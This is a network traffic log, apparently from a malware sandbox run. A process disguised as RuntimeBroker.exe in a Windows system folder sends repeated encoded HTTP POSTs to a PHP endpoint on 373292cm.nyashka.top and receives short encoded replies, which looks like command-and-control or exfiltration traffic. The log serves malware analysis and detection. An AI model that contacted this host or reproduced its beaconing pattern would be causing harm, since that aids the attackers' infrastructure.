Jan 11, 2025 06:43:17.269032001 CET	308	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 11 Jan 2025 05:43:17 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 152 Connection: keep-alive Data Raw: 09 1d 26 11 28 36 2a 58 26 02 3b 0b 30 23 00 1d 3e 3d 0d 59 2a 03 07 5c 33 16 0b 15 31 00 30 55 26 3b 31 5b 3c 2e 2e 1a 31 2f 2c 00 39 0e 2b 5d 0c 13 22 5f 37 14 07 04 31 3c 06 13 29 2b 37 5a 20 3f 3e 5c 3c 39 2d 1b 28 3f 20 58 3c 39 2b 59 3f 29 2d 0c 2f 38 3d 18 2e 0e 39 0e 20 3e 2b 52 0d 11 24 10 28 3d 32 0a 3e 00 3c 00 35 06 24 01 27 2d 22 51 31 0c 08 54 27 07 30 5a 25 0b 21 50 24 57 39 50 32 3b 2e 1c 32 3c 3d 51 35 22 23 54 2c 00 22 57 01 33 55 56 Data Ascii: &(6X&;0#>=Y\310U&;1[<..1/,9+]"_71<)+7Z ?>\<9-(? X<9+Y?)-/8=.9 >+R$(=2><5$'-"Q1T'0Z%!P$W9P2;.2<=Q5"#T,"W3UV

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	56915	37.44.238.250	80	6008	C:\Windows\LiveKernelReports\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 06:43:16.191663027 CET	257	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 373292cm.nyashka.top Content-Length: 2544 Expect: 100-continue
Jan 11, 2025 06:43:16.537700891 CET	2544	OUT	Data Raw: 5f 51 59 53 54 46 54 5f 5b 5f 5a 51 59 54 58 5f 57 50 5d 5a 57 50 53 5b 5c 5d 5f 5a 5b 5f 5a 51 5a 5a 52 5b 55 5f 50 5a 5d 5a 59 5c 55 56 54 5f 5f 5b 58 5b 58 5f 50 5d 58 5d 53 58 57 59 55 56 5c 5d 5c 59 55 5b 52 50 47 5a 5a 5d 42 58 5d 5c 56 5b Data Ascii: _QYSTFT_[_ZQYTX_WP]ZWPS[\]_Z[_ZQZZR[U_PZ]ZY\UVT__[X[X_P]X]SXWYUV\]\YU[RPGZZ]BX]\V[TSRYZ[S]UR^_QV^\^RU_[_T\A^ZX\[Z\X]XRXWZZZQ^UCRYPZWXVQY[]ZWZGYZS[[]T^V_Y_G\TQ[QG\]ZX]]VZ^W]^^YUF[YZ_W^S.\,#?"=4Y40*>,<X)?,4?(41Q+:4#0>..&F$.Y/)
Jan 11, 2025 06:43:16.822776079 CET	25	IN	HTTP/1.1 100 Continue
Jan 11, 2025 06:43:16.951612949 CET	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 11 Jan 2025 05:43:16 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 3b 55 5f 5b Data Ascii: ;U_[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	56921	37.44.238.250	80	6008	C:\Windows\LiveKernelReports\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 06:43:17.738461971 CET	257	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 373292cm.nyashka.top Content-Length: 2544 Expect: 100-continue
Jan 11, 2025 06:43:18.082683086 CET	2544	OUT	Data Raw: 5f 52 5c 51 54 43 51 5c 5b 5f 5a 51 59 55 58 52 57 50 5d 5d 57 58 53 5d 5c 5d 5f 5a 5b 5f 5a 51 5a 5a 52 5b 55 5f 50 5a 5d 5a 59 5c 55 56 54 5f 5f 5b 58 5b 58 5f 50 5d 58 5d 53 58 57 59 55 56 5c 5d 5c 59 55 5b 52 50 47 5a 5a 5d 42 58 5d 5c 56 5b Data Ascii: _R\QTCQ\[_ZQYUXRWP]]WXS]\]_Z[_ZQZZR[U_PZ]ZY\UVT__[X[X_P]X]SXWYUV\]\YU[RPGZZ]BX]\V[TSRYZ[S]UR^_QV^\^RU_[_T\A^ZX\[Z\X]XRXWZZZQ^UCRYPZWXVQY[]ZWZGYZS[[]T^V_Y_G\TQ[QG\]ZX]]VZ^W]^^YUF[YZ_W^S-80$6- ^" %Z+=<=![+.;4</P 8P?:?Y73=X/&F$.Y/-
Jan 11, 2025 06:43:18.371696949 CET	25	IN	HTTP/1.1 100 Continue
Jan 11, 2025 06:43:18.502990007 CET	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 11 Jan 2025 05:43:18 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 3b 55 5f 5b Data Ascii: ;U_[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	56926	37.44.238.250	80	6008	C:\Windows\LiveKernelReports\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 06:43:18.776649952 CET	281	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 373292cm.nyashka.top Content-Length: 2544 Expect: 100-continue Connection: Keep-Alive
Jan 11, 2025 06:43:19.218698978 CET	2544	OUT	Data Raw: 5f 54 5c 53 51 42 51 5a 5b 5f 5a 51 59 5e 58 5e 57 59 5d 5e 57 5b 53 5d 5c 5d 5f 5a 5b 5f 5a 51 5a 5a 52 5b 55 5f 50 5a 5d 5a 59 5c 55 56 54 5f 5f 5b 58 5b 58 5f 50 5d 58 5d 53 58 57 59 55 56 5c 5d 5c 59 55 5b 52 50 47 5a 5a 5d 42 58 5d 5c 56 5b Data Ascii: _T\SQBQZ[_ZQY^X^WY]^W[S]\]_Z[_ZQZZR[U_PZ]ZY\UVT__[X[X_P]X]SXWYUV\]\YU[RPGZZ]BX]\V[TSRYZ[S]UR^_QV^\^RU_[_T\A^ZX\[Z\X]XRXWZZZQ^UCRYPZWXVQY[]ZWZGYZS[[]T^V_Y_G\TQ[QG\]ZX]]VZ^W]^^YUF[YZ_W^S-, /E#=0\"0&+= _>=>+>< ,S7;<943"8&F$.Y/
Jan 11, 2025 06:43:19.413922071 CET	25	IN	HTTP/1.1 100 Continue
Jan 11, 2025 06:43:19.584779024 CET	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 11 Jan 2025 05:43:19 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 3b 55 5f 5b Data Ascii: ;U_[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	56934	37.44.238.250	80	6008	C:\Windows\LiveKernelReports\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 06:43:19.892827988 CET	281	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 373292cm.nyashka.top Content-Length: 2544 Expect: 100-continue Connection: Keep-Alive
Jan 11, 2025 06:43:20.242187977 CET	2544	OUT	Data Raw: 5f 5c 5c 54 51 45 51 5c 5b 5f 5a 51 59 50 58 53 57 5d 5d 5a 57 5a 53 5c 5c 5d 5f 5a 5b 5f 5a 51 5a 5a 52 5b 55 5f 50 5a 5d 5a 59 5c 55 56 54 5f 5f 5b 58 5b 58 5f 50 5d 58 5d 53 58 57 59 55 56 5c 5d 5c 59 55 5b 52 50 47 5a 5a 5d 42 58 5d 5c 56 5b Data Ascii: _\\TQEQ\[_ZQYPXSW]]ZWZS\\]_Z[_ZQZZR[U_PZ]ZY\UVT__[X[X_P]X]SXWYUV\]\YU[RPGZZ]BX]\V[TSRYZ[S]UR^_QV^\^RU_[_T\A^ZX\[Z\X]XRXWZZZQ^UCRYPZWXVQY[]ZWZGYZS[[]T^V_Y_G\TQ[QG\]ZX]]VZ^W]^^YUF[YZ_W^S-;36=_#>=3(&+[?\ ,#$S+4^,&F$.Y/
Jan 11, 2025 06:43:20.520787001 CET	25	IN	HTTP/1.1 100 Continue
Jan 11, 2025 06:43:20.650435925 CET	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 11 Jan 2025 05:43:20 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 3b 55 5f 5b Data Ascii: ;U_[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	56941	37.44.238.250	80	6008	C:\Windows\LiveKernelReports\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 06:43:21.204328060 CET	281	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 373292cm.nyashka.top Content-Length: 2544 Expect: 100-continue Connection: Keep-Alive
Jan 11, 2025 06:43:21.551412106 CET	2544	OUT	Data Raw: 5f 54 59 53 54 40 54 5b 5b 5f 5a 51 59 54 58 53 57 58 5d 58 57 5c 53 55 5c 5d 5f 5a 5b 5f 5a 51 5a 5a 52 5b 55 5f 50 5a 5d 5a 59 5c 55 56 54 5f 5f 5b 58 5b 58 5f 50 5d 58 5d 53 58 57 59 55 56 5c 5d 5c 59 55 5b 52 50 47 5a 5a 5d 42 58 5d 5c 56 5b Data Ascii: _TYST@T[[_ZQYTXSWX]XW\SU\]_Z[_ZQZZR[U_PZ]ZY\UVT__[X[X_P]X]SXWYUV\]\YU[RPGZZ]BX]\V[TSRYZ[S]UR^_QV^\^RU_[_T\A^ZX\[Z\X]XRXWZZZQ^UCRYPZWXVQY[]ZWZGYZS[[]T^V_Y_G\TQ[QG\]ZX]]VZ^W]^^YUF[YZ_W^S-8,#-;439\>='?-5(]4 42<( 3>,&F$.Y/)
Jan 11, 2025 06:43:21.848150015 CET	25	IN	HTTP/1.1 100 Continue
Jan 11, 2025 06:43:22.021879911 CET	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 11 Jan 2025 05:43:21 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 3b 55 5f 5b Data Ascii: ;U_[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	56947	37.44.238.250	80	6008	C:\Windows\LiveKernelReports\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 06:43:22.215986967 CET	281	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 373292cm.nyashka.top Content-Length: 2544 Expect: 100-continue Connection: Keep-Alive
Jan 11, 2025 06:43:22.567076921 CET	2544	OUT	Data Raw: 5a 51 5c 5e 51 47 54 5b 5b 5f 5a 51 59 50 58 53 57 5d 5d 5b 57 5f 53 58 5c 5d 5f 5a 5b 5f 5a 51 5a 5a 52 5b 55 5f 50 5a 5d 5a 59 5c 55 56 54 5f 5f 5b 58 5b 58 5f 50 5d 58 5d 53 58 57 59 55 56 5c 5d 5c 59 55 5b 52 50 47 5a 5a 5d 42 58 5d 5c 56 5b Data Ascii: ZQ\^QGT[[_ZQYPXSW]][W_SX\]_Z[_ZQZZR[U_PZ]ZY\UVT__[X[X_P]X]SXWYUV\]\YU[RPGZZ]BX]\V[TSRYZ[S]UR^_QV^\^RU_[_T\A^ZX\[Z\X]XRXWZZZQ^UCRYPZWXVQY[]ZWZGYZS[[]T^V_Y_G\TQ[QG\]ZX]]VZ^W]^^YUF[YZ_W^S.;33".? #%*[ (>_<.7[7P 2$+)#%;>&F$.Y/
Jan 11, 2025 06:43:22.848571062 CET	25	IN	HTTP/1.1 100 Continue
Jan 11, 2025 06:43:22.983200073 CET	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 11 Jan 2025 05:43:22 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 3b 55 5f 5b Data Ascii: ;U_[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	56948	37.44.238.250	80	6008	C:\Windows\LiveKernelReports\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 06:43:22.354626894 CET	281	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 373292cm.nyashka.top Content-Length: 1852 Expect: 100-continue Connection: Keep-Alive
Jan 11, 2025 06:43:22.707684040 CET	1852	OUT	Data Raw: 5a 57 5c 55 54 46 51 59 5b 5f 5a 51 59 51 58 5f 57 50 5d 5e 57 59 53 54 5c 5d 5f 5a 5b 5f 5a 51 5a 5a 52 5b 55 5f 50 5a 5d 5a 59 5c 55 56 54 5f 5f 5b 58 5b 58 5f 50 5d 58 5d 53 58 57 59 55 56 5c 5d 5c 59 55 5b 52 50 47 5a 5a 5d 42 58 5d 5c 56 5b Data Ascii: ZW\UTFQY[_ZQYQX_WP]^WYST\]_Z[_ZQZZR[U_PZ]ZY\UVT__[X[X_P]X]SXWYUV\]\YU[RPGZZ]BX]\V[TSRYZ[S]UR^_QV^\^RU_[_T\A^ZX\[Z\X]XRXWZZZQ^UCRYPZWXVQY[]ZWZGYZS[[]T^V_Y_G\TQ[QG\]ZX]]VZ^W]^^YUF[YZ_W^S-/ ?B5>;7+-(_?)_+#4!$S(9X436/&F$.Y/=
Jan 11, 2025 06:43:23.007421017 CET	25	IN	HTTP/1.1 100 Continue
Jan 11, 2025 06:43:23.139133930 CET	308	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 11 Jan 2025 05:43:22 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 152 Connection: keep-alive Data Raw: 09 1d 26 1e 2a 0b 00 1f 25 05 20 1b 24 33 31 0b 29 2d 20 01 2a 2e 36 01 30 38 3a 00 26 2d 30 51 30 15 29 1f 2b 3e 04 1a 25 2f 27 13 2e 34 2b 5d 0c 13 22 5c 37 5c 29 05 26 3f 34 11 3d 5e 2b 17 35 2c 29 01 2b 39 36 0c 3c 2f 28 5f 3e 39 09 5d 2b 2a 3e 55 2c 16 29 5d 39 33 2e 55 37 3e 2b 52 0d 11 27 0e 3c 03 25 54 3e 10 23 5d 21 38 23 59 26 3d 00 56 24 21 39 0d 30 00 24 5a 31 0c 29 1c 33 08 3e 08 26 38 32 5a 27 2c 3a 0c 23 32 23 54 2c 00 22 57 01 33 55 56 Data Ascii: &% $31)- .608:&-0Q0)+>%/'.4+]"\7\)&?4=^+5,)+96</(_>9]+*>U,)]93.U7>+R'<%T>#]!8#Y&=V$!90$Z1)3>&82Z',:#2#T,"W3UV

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.6	56954	37.44.238.250	80	6008	C:\Windows\LiveKernelReports\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 06:43:24.129266977 CET	281	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 373292cm.nyashka.top Content-Length: 2544 Expect: 100-continue Connection: Keep-Alive
Jan 11, 2025 06:43:24.473403931 CET	2544	OUT	Data Raw: 5f 54 5c 56 54 44 51 5c 5b 5f 5a 51 59 50 58 55 57 51 5d 5d 57 50 53 5b 5c 5d 5f 5a 5b 5f 5a 51 5a 5a 52 5b 55 5f 50 5a 5d 5a 59 5c 55 56 54 5f 5f 5b 58 5b 58 5f 50 5d 58 5d 53 58 57 59 55 56 5c 5d 5c 59 55 5b 52 50 47 5a 5a 5d 42 58 5d 5c 56 5b Data Ascii: _T\VTDQ\[_ZQYPXUWQ]]WPS[\]_Z[_ZQZZR[U_PZ]ZY\UVT__[X[X_P]X]SXWYUV\]\YU[RPGZZ]BX]\V[TSRYZ[S]UR^_QV^\^RU_[_T\A^ZX\[Z\X]XRXWZZZQ^UCRYPZWXVQY[]ZWZGYZS[[]T^V_Y_G\TQ[QG\]ZX]]VZ^W]^^YUF[YZ_W^S./#"[7" &)-^?&)=74?4 18Q*9;X" X,.&F$.Y/
Jan 11, 2025 06:43:24.797979116 CET	25	IN	HTTP/1.1 100 Continue
Jan 11, 2025 06:43:24.930340052 CET	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 11 Jan 2025 05:43:24 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 3b 55 5f 5b Data Ascii: ;U_[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.6	56961	37.44.238.250	80	6008	C:\Windows\LiveKernelReports\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 06:43:25.440104008 CET	257	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 373292cm.nyashka.top Content-Length: 2536 Expect: 100-continue
Jan 11, 2025 06:43:25.785851955 CET	2536	OUT	Data Raw: 5f 50 5c 5f 51 42 54 5e 5b 5f 5a 51 59 57 58 51 57 50 5d 59 57 58 53 5c 5c 5d 5f 5a 5b 5f 5a 51 5a 5a 52 5b 55 5f 50 5a 5d 5a 59 5c 55 56 54 5f 5f 5b 58 5b 58 5f 50 5d 58 5d 53 58 57 59 55 56 5c 5d 5c 59 55 5b 52 50 47 5a 5a 5d 42 58 5d 5c 56 5b Data Ascii: _P\_QBT^[_ZQYWXQWP]YWXS\\]_Z[_ZQZZR[U_PZ]ZY\UVT__[X[X_P]X]SXWYUV\]\YU[RPGZZ]BX]\V[TSRYZ[S]UR^_QV^\^RU_[_T\A^ZX\[Z\X]XRXWZZZQ^UCRYPZWXVQY[]ZWZGYZS[[]T^V_Y_G\TQ[QG\]ZX]]VZ^W]^^YUF[YZ_W^S.]80"=770*-$(X9(>8"<W7(Q+:4"#5/&F$.Y/=
Jan 11, 2025 06:43:26.066072941 CET	25	IN	HTTP/1.1 100 Continue
Jan 11, 2025 06:43:26.193763971 CET	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 11 Jan 2025 05:43:26 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 3b 55 5f 5b Data Ascii: ;U_[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.6	56973	37.44.238.250	80	6008	C:\Windows\LiveKernelReports\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 06:43:28.169143915 CET	281	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 373292cm.nyashka.top Content-Length: 1872 Expect: 100-continue Connection: Keep-Alive
Jan 11, 2025 06:43:28.525475979 CET	1872	OUT	Data Raw: 5a 56 5c 51 54 49 51 5b 5b 5f 5a 51 59 5e 58 52 57 5e 5d 5e 57 5e 53 59 5c 5d 5f 5a 5b 5f 5a 51 5a 5a 52 5b 55 5f 50 5a 5d 5a 59 5c 55 56 54 5f 5f 5b 58 5b 58 5f 50 5d 58 5d 53 58 57 59 55 56 5c 5d 5c 59 55 5b 52 50 47 5a 5a 5d 42 58 5d 5c 56 5b Data Ascii: ZV\QTIQ[[_ZQY^XRW^]^W^SY\]_Z[_ZQZZR[U_PZ]ZY\UVT__[X[X_P]X]SXWYUV\]\YU[RPGZZ]BX]\V[TSRYZ[S]UR^_QV^\^RU_[_T\A^ZX\[Z\X]XRXWZZZQ^UCRYPZWXVQY[]ZWZGYZS[[]T^V_Y_G\TQ[QG\]ZX]]VZ^W]^^YUF[YZ_W^S.,#".+ &==<\<.(4",'S4!3?<46.>&F$.Y/
Jan 11, 2025 06:43:28.891774893 CET	25	IN	HTTP/1.1 100 Continue
Jan 11, 2025 06:43:29.039328098 CET	308	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 11 Jan 2025 05:43:28 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 152 Connection: keep-alive Data Raw: 09 1d 25 0f 29 26 22 5a 31 15 2c 50 24 0d 32 57 29 2d 3b 13 2a 5b 3a 00 27 16 0b 59 26 58 2c 1d 27 15 0f 11 28 10 0f 09 24 2f 3b 58 3a 34 2b 5d 0c 13 21 01 37 5c 35 02 26 02 2c 5d 3e 01 2c 05 22 3c 04 59 3c 3a 21 50 3c 06 3b 03 28 39 09 1e 3c 04 26 1f 38 06 2d 5b 3a 33 32 51 34 04 2b 52 0d 11 27 0e 29 3e 25 53 3d 2d 3f 5e 21 28 3b 5f 33 2d 3d 0f 26 21 22 56 26 3a 24 11 32 31 2a 0d 25 22 36 0c 32 38 29 06 32 3f 2e 0f 22 32 23 54 2c 00 22 57 01 33 55 56 Data Ascii: %)&"Z1,P$2W)-;[:'Y&X,'($/;X:4+]!7\5&,]>,"<Y<:!P<;(9<&8-[:32Q4+R')>%S=-?^!(;_3-=&!"V&:$21%"628)2?."2#T,"W3UV

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.6	56975	37.44.238.250	80	6008	C:\Windows\LiveKernelReports\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 06:43:28.911962032 CET	281	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 373292cm.nyashka.top Content-Length: 2544 Expect: 100-continue Connection: Keep-Alive
Jan 11, 2025 06:43:29.270168066 CET	2544	OUT	Data Raw: 5a 57 5c 55 54 40 51 5e 5b 5f 5a 51 59 53 58 5f 57 5e 5d 52 57 51 53 5f 5c 5d 5f 5a 5b 5f 5a 51 5a 5a 52 5b 55 5f 50 5a 5d 5a 59 5c 55 56 54 5f 5f 5b 58 5b 58 5f 50 5d 58 5d 53 58 57 59 55 56 5c 5d 5c 59 55 5b 52 50 47 5a 5a 5d 42 58 5d 5c 56 5b Data Ascii: ZW\UT@Q^[_ZQYSX_W^]RWQS_\]_Z[_ZQZZR[U_PZ]ZY\UVT__[X[X_P]X]SXWYUV\]\YU[RPGZZ]BX]\V[TSRYZ[S]UR^_QV^\^RU_[_T\A^ZX\[Z\X]XRXWZZZQ^UCRYPZWXVQY[]ZWZGYZS[[]T^V_Y_G\TQ[QG\]ZX]]VZ^W]^^YUF[YZ_W^S._;3#=3# %X>+.:)>7#, 2??)7 !]/&F$.Y/5
Jan 11, 2025 06:43:29.602412939 CET	25	IN	HTTP/1.1 100 Continue
Jan 11, 2025 06:43:29.732094049 CET	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 11 Jan 2025 05:43:29 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 3b 55 5f 5b Data Ascii: ;U_[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.6	56982	37.44.238.250	80	6008	C:\Windows\LiveKernelReports\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 06:43:30.147370100 CET	257	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 373292cm.nyashka.top Content-Length: 2544 Expect: 100-continue
Jan 11, 2025 06:43:30.645123959 CET	2544	OUT	Data Raw: 5f 56 5c 57 54 45 54 5e 5b 5f 5a 51 59 53 58 5f 57 5e 5d 58 57 5f 53 59 5c 5d 5f 5a 5b 5f 5a 51 5a 5a 52 5b 55 5f 50 5a 5d 5a 59 5c 55 56 54 5f 5f 5b 58 5b 58 5f 50 5d 58 5d 53 58 57 59 55 56 5c 5d 5c 59 55 5b 52 50 47 5a 5a 5d 42 58 5d 5c 56 5b Data Ascii: _V\WTET^[_ZQYSX_W^]XW_SY\]_Z[_ZQZZR[U_PZ]ZY\UVT__[X[X_P]X]SXWYUV\]\YU[RPGZZ]BX]\V[TSRYZ[S]UR^_QV^\^RU_[_T\A^ZX\[Z\X]XRXWZZZQ^UCRYPZWXVQY[]ZWZGYZS[[]T^V_Y_G\TQ[QG\]ZX]]VZ^W]^^YUF[YZ_W^S.Y/ /!-<^ 9X)7(([7X7?7#?();]#9\/&F$.Y/5
Jan 11, 2025 06:43:30.775299072 CET	25	IN	HTTP/1.1 100 Continue
Jan 11, 2025 06:43:30.903352022 CET	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 11 Jan 2025 05:43:30 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 3b 55 5f 5b Data Ascii: ;U_[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.6	56988	37.44.238.250	80	6008	C:\Windows\LiveKernelReports\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 06:43:31.195831060 CET	257	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 373292cm.nyashka.top Content-Length: 2544 Expect: 100-continue
Jan 11, 2025 06:43:31.565469027 CET	2544	OUT	Data Raw: 5f 54 5c 55 51 40 54 58 5b 5f 5a 51 59 5e 58 50 57 5a 5d 5f 57 50 53 58 5c 5d 5f 5a 5b 5f 5a 51 5a 5a 52 5b 55 5f 50 5a 5d 5a 59 5c 55 56 54 5f 5f 5b 58 5b 58 5f 50 5d 58 5d 53 58 57 59 55 56 5c 5d 5c 59 55 5b 52 50 47 5a 5a 5d 42 58 5d 5c 56 5b Data Ascii: _T\UQ@TX[_ZQY^XPWZ]_WPSX\]_Z[_ZQZZR[U_PZ]ZY\UVT__[X[X_P]X]SXWYUV\]\YU[RPGZZ]BX]\V[TSRYZ[S]UR^_QV^\^RU_[_T\A^ZX\[Z\X]XRXWZZZQ^UCRYPZWXVQY[]ZWZGYZS[[]T^V_Y_G\TQ[QG\]ZX]]VZ^W]^^YUF[YZ_W^S.; ?!>(^#0!X*<_<-+.##Z?Q#8Q+8 V"..&F$.Y/
Jan 11, 2025 06:43:31.843065023 CET	25	IN	HTTP/1.1 100 Continue
Jan 11, 2025 06:43:31.974092007 CET	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 11 Jan 2025 05:43:31 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 3b 55 5f 5b Data Ascii: ;U_[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.6	56990	37.44.238.250	80	6008	C:\Windows\LiveKernelReports\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 06:43:32.230444908 CET	281	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 373292cm.nyashka.top Content-Length: 2544 Expect: 100-continue Connection: Keep-Alive
Jan 11, 2025 06:43:32.582953930 CET	2544	OUT	Data Raw: 5f 52 59 50 54 45 54 51 5b 5f 5a 51 59 51 58 54 57 5e 5d 5e 57 5f 53 55 5c 5d 5f 5a 5b 5f 5a 51 5a 5a 52 5b 55 5f 50 5a 5d 5a 59 5c 55 56 54 5f 5f 5b 58 5b 58 5f 50 5d 58 5d 53 58 57 59 55 56 5c 5d 5c 59 55 5b 52 50 47 5a 5a 5d 42 58 5d 5c 56 5b Data Ascii: _RYPTETQ[_ZQYQXTW^]^W_SU\]_Z[_ZQZZR[U_PZ]ZY\UVT__[X[X_P]X]SXWYUV\]\YU[RPGZZ]BX]\V[TSRYZ[S]UR^_QV^\^RU_[_T\A^ZX\[Z\X]XRXWZZZQ^UCRYPZWXVQY[]ZWZGYZS[[]T^V_Y_G\TQ[QG\]ZX]]VZ^W]^^YUF[YZ_W^S.],3,6 _4!>>0^>.-(=?Z"<7#;(< !]8&F$.Y/=
Jan 11, 2025 06:43:32.890387058 CET	25	IN	HTTP/1.1 100 Continue
Jan 11, 2025 06:43:33.023919106 CET	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 11 Jan 2025 05:43:32 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 3b 55 5f 5b Data Ascii: ;U_[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.6	56996	37.44.238.250	80	6008	C:\Windows\LiveKernelReports\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
